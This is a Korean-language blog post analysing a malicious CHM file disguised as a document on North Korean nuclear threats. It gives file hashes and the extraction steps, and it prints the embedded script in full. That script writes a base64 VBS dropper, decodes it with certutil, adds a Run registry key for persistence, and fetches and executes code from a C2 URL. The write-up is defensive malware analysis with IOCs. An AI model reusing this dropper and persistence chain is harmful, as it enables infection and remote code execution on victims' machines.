chm 악성코드에 대한 내용들을 보다가 분석할 만한 샘플이 있어 분석을 해보았다. 비교적 간단한 파일이라서 분석하는데 어렵진 않았다.
파일 구성
- 파일명: 북의 핵위협 양상과 한국의 대응방향.chm
- 해시값
- MD5: 364d4fdf430477222fe854b3cd5b6d40
- SHA-1: b5224224fdbabdea53a91a96e9f816c6f9a8708c
- SHA-256: c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05
chm 파일 분석
- Microsoft HTML Help Workshop을 통해 해당 파일 내부에 있는 구성 파일들을 다 추출
- 추출 시 3가지 파일이 나오는 것을 알 수 있음
- home.html에 악성 스크립트가 삽입되어 있을 것이라 추측됨, 바이러스 토탈에 3개 파일을 다 올려보자
- home.html이 바이러스토탈 엔진에 잡히는 것을 알 수 있다. 그러면 home.html을 중점적으로 분석해보자
home.html
- 맨 끝에 부분에 악성 스크립트가 들어가 있는 것을 확인할 수 있었다.
- shortcut 객체를 하나 만들어서 실행되게 함
- 중요한건 Item1의 value 값에 들어가있는 코드이다.
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
shortcut.Click();
</SCRIPT>
value=',cmd, /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f'>
- 아래에 있는 문자열이 MXFhejJ3c3gzZWRjA.dat 파일에 들어가게 되는데, certutil을 통해 복호화 된다.
- T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp
- 복호화 시에 dat 파일에 있는 데이터를 vbs 파일에 저장한다. 따라서 vbs를 실행시키려고 하는 것이 목적
- start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs"
- 그 후에는 레지스트리를 등록해서 지속성을 유지하려는 것으로 확인된다.
- start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs"
MXFhejJ3c3gzZWRjA.vbs
- certutil을 통해 복호화를 수행하였다.
- certutil에 대해 공부를 자세히 해보지 않아서 정확히 무엇인지는 나중에 공부할 예정..
- 코드를 보아하니 C2에서 새로운 악성코드를 다운로드 받거나 트로이목마로 동작하는 놈인것으로 추정된다.. C2는 닫혀있으니 분석은 여기까지!
On Error Resume Next
Set mx = CreateObject("Microsoft.XMLHTTP")
mx.open "GET", "http://00701111.000webhostapp.com/wp-extra/show.php?query=50", False
mx.Send
Execute(mx.responseText)
IOC
- MD5
- 364d4fdf430477222fe854b3cd5b6d40
- C2
- http://00701111.000webhostapp.com/wp-extra/show.php
'디지털포렌식 > 악성코드 샘플 분석' 카테고리의 다른 글
우리 은행 사칭 apk (2) | 2024.07.23 |
---|---|
[Kimsuky] 인적사항.doc (0) | 2024.02.03 |
[코니그룹] 카카오 보안메일 악성코드 (1) | 2023.10.31 |
[코니그룹] 국세청 사칭 악성코드 - 국세청 종합소득세 해명자료 제출 안내 (2023.9.4) (1) | 2023.10.28 |
전라남도 코로나 바이러스 대응 긴급 조회.hwp (1) | 2023.10.28 |